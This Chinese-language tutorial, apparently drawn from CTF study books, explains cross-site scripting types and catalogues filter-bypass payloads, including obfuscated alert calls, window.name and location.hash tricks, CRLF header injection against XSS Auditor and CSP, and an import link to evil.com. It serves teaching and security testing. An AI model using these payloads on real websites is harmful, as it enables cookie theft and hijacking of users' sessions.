XSS (Cross-Site Scripting;跨站脚本)

1. 介绍

  • XSS是一种网站应用程序的安全漏洞攻击,是代码注入的一种,允许恶意用户将代码注入网页,其他用户在观看网页时会受到影响。这类攻击通常包含HTML和用户端脚本语言。
  • XSS攻击通常是指通过利用网页开发时留下的漏洞,巧妙注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上可以包括Java、VBScript、ActiveX、Flash或者普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和Cookie等内容。

2. 分类

  • 漏洞成因:反射型、存储型、DOM型
  • 输出点:输出在HTML属性中、输出在CSS中、输出在JavaScript中

3. 基于漏洞成因的 XSS 介绍

3.1 反射型XSS

XSS代码作为客户端输入的内容提交给服务端,服务端解析后,在相应内容中返回输入的XSS代码,最终由浏览器解析执行。

3.2 存储型XSS

存储型XSS与反射型XSS的区别主要在于提交的XSS代码是否会存储在服务器端,下次请求该网页时是否需要再次提交XSS代码。存储型XSS的典型应用有留言板、在线聊天室、邮件服务等,攻击者提交包含XSS代码的留言后,服务端会将其存储于数据库中,其他用户访问网页查看留言时,服务端将从数据库中查询已有留言并将留言内容输出在HTTP响应中,由浏览器对包含恶意代码的响应进行解析执行。

3.3 DOM XSS

DOM XSS与反射型XSS、存储型XSS的主要区别在于DOM XSS的XSS代码不需要服务端解析响应的直接参与,触发XSS的是浏览器端的DOM解析。

4. 基于输出点的 XSS 介绍

4.1 输出在HTML标签中

XSS攻击payload输出在HTML属性中时,攻击者需要在闭合相应的HTML属性后注入新属性,或者在闭合标签后直接注入新标签。
示例:

<input name="user" value="" onclick="alert(1)"/>
<input name="user" value=""><script>alert(1)</script>"/>

4.2 输出在CSS代码中

XSS攻击payload输出在CSS代码中时,攻击者需要闭合相应的CSS代码。
示例:

<style type="text/css">
body{
	color:#000;background-image:url('javascript:alert(1)');
</style>

4.3 输出在Javascript代码中

XSS攻击payload输出在Javascript代码中,攻击者需要闭合相应的Javascript代码
示例:

<script>
var name=""+alert(1)+"";
</script>

5. 其他场景

决定上传的文件能否被浏览器解析成HTML代码的关键是HTTP响应头中的元素Content-Type,所以无论上传的文件是以什么样的后缀被保存在服务器上,只要访问上传的文件时返回的Content-Type时text/html,就可以成功地被浏览器解析并执行。类似地,Flash文件的application/x-shockwave-flash也可以被执行XSS。

事实上,浏览器会默认把请求相应当作HTML内容解析,如空的和畸形的Content-type,由于浏览器之间存在差异,因此在实际环境中要多测试。比如,Google Chrome中的空Content-type会被认为时text/html。

6. 防护与绕过

6.1 特定标签过滤

防护:过滤掉危险标签,如script、iframe等
绕过:任何一种标签,无论是否合法都可以构造出XSS代码,如<not_real_tag onclick=”alert(1)”></not_real_tag> 。 同时HTML5也带来了部分新标签,容易被开发者忽略,如video标签。

6.2 事件过滤

防护:过滤掉许多HTML标签的事件属性。
绕过:测试时可以使用Burp或自行编写脚本进行Fuzz。还有JavaScript伪协议,如<a href=”javascript:alert(1)”>clickme</a>

6.3 敏感关键字(字符)过滤

  • 字符串拼接与混淆
    • JavaScript中的对象方法可通过数组的方式进行调用:window['alert'](1);
    • 可以通过拼接的方式进行混淆:window['al'+'ert'](1)
    • 还可以使用JavaScript自带的Base64编码解码函数来实现字符串过滤的绕过,btoa函数可以将字符串编码为Base64字符串,atob函数可以将Base64字符串还原,如btoa("alert")返回"YWxlcnQ="window[atob(“YWxl”+”cnQ=”)](1)
  • 编码解码
    • HTML进制编码:十进制、十六进制;
    • CSS进制编码:兼容HTML中的进制表现形式,十进制、十六进制;
    • JavaScript进制编码:八进制、十六进制、Unicode编码、ASCII
    • URL编码
    • JSFuck编码
  • location.*、window.name
    • location.*的构造:
http://example.com/xss.php?input=<input onfocus
   outerHTML=decodeURI(location.hash)>#<img src=x onerror=alert(1)>
  • window.name的构造页面:
<iframe src="http:/example.com/xss.php?input=<input οnfοcus=location=window.name>" name="javascript:alert(1)"></iframe>
  • 过滤”.”
    在JavaScript中,可以使用with关键字设置变量的作用域,利用此特性可以绕过对”.”的过滤:with(document)alert(cookie);
  • 过滤”()”
    在JavaScript中,可以通过绑定错误处理函数,使用throw关键字传递参数绕过对”()”的过滤:window.onerror=alert; throw 1;
  • 过滤空格
    • 在标签属性间可使用换行符0x09、0x10、0x12、0x13、0x0a等字符代替空格绕过过滤
    • 在标签名称和第一个属性间也可以使用”/”代替空格:<input/onfocus=alert(1)>
  • svg标签
    svg内部的标签和语句遵循的规则时直接继承自xml而不是html,区别在于svg内部的script标签中可以允许存在一部分禁止或编码后的字符(比如实体编码):
   http://example.com/xss.php?input=1"><svg><script>alert%26%23x28;1%26%23x29</script></svg>

6.4 字符集编码导致的绕过

6.5 长度限制

  • window.name
  • location.*
 <iframe
   src="http:/example.com/xss.php?input=<input onfocus=eval(window.name)>" 
   name="alert(1)"></iframe>
  • 第三方库工厂

    注入jQuery等第三方JavaScript库大部分都会提供相应的工厂函数,如jQuery中的”$()”,它会自动构造标签,并且执行其中的代码

   <iframe src="http:/example.com/xss.php?input=<input onfocus=eval(window.name)>" 
   name=”<img src='x' onerror=alert(1)>"></iframe> 
  • 注释

    在一些环境下可以使用注释来绕过长度限制。具体操作是将XSS代码分为多个阶段,在每个阶段的代码前后添加注释符号,依次注入XSS代码,这样不同阶段的代码就可以组合到一起了。

6.6 HttpOnly绕过

HttpOnly是Cookie的一个安全属性,设置后则可以在XSS漏洞发生时避免JavaScript读取到Cookie,但即使设置了HttpOnly属性,也仍有办法获取到Cookie值。

  • window.name
  • CVE-2012-0053
  • PHPINFO页面
  • Flash/Java

6.7 XSS Auditor绕过

  • 字符集编码导致的绕过
  • 协议理解问题导致的绕过
    对于Chrome浏览器的XSS Auditor防护,如果加载的脚本在自身目录下,并且XSS的输出点在HTML属性中,那么XSS Auditor是不会对其进行拦截的。但是如果检测到了”//”这样的外部链接的话,就会触发Auditor,从而无法加载外部脚本:
   http://example.com/xss.php?input=1"> <link rel="import"href=https:evil.com/1.php 
  • CRLF导致的绕过
    这个漏洞名词来源于打印机,在计算机中表示一行的结束。 Chrome浏览器的XSS Auditor默认是开启的,但如果HTTP响应头中的X-XSS-Protection属性被设置为0,那么Chrome浏览器会关闭XSS Auditor。因此,如果在HTTP响应头中注入CRLF并在新一行中写入X-XSS-Protection:0,那么接下来的XSS代码将不再收到XSS Auditor的拦截。

6.8 内容安全策略 (CSP) 绕过

  • CSP配置错误
  • unsafe-inline下的绕过
  • 严苛规则script-src ‘self’ 下的绕过
  • CRLF导致的绕过
    在HTTP响应头中注入[CRLF][CRLF],将CSP头部分割至HTTP响应体中,这样注入的XSS代码便不再受到CSP的影响

6.9 Tips

  • 将payload藏在location.hash中,则URL中 # 后的字符不会被发到服务器,所以不存在被服务器过滤的情况。
 eval(unescape(location.hash.slice(1)));//#alert('hack')
  • 在JavaScript中,反引号可以直接当作字符串的边界符。
alert(`hack`);//

7. 危害

  • 窃取用户Cookie信息,伪造用户身份;
  • 与浏览器DOM对象进行交互,执行受害者所有可以执行的操作;
  • 获取网页源码;
  • 发起HTTP请求;
  • 使用HTML5 Geolocation API获取地理位置信息;
  • 使用WebRTC API获取网络信息;
  • 发起HTTP请求对内网主机进行扫描,对存在漏洞的主机进行攻击。

References:

《从0到1 CTFer成长之路》
《CTF特训营》

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值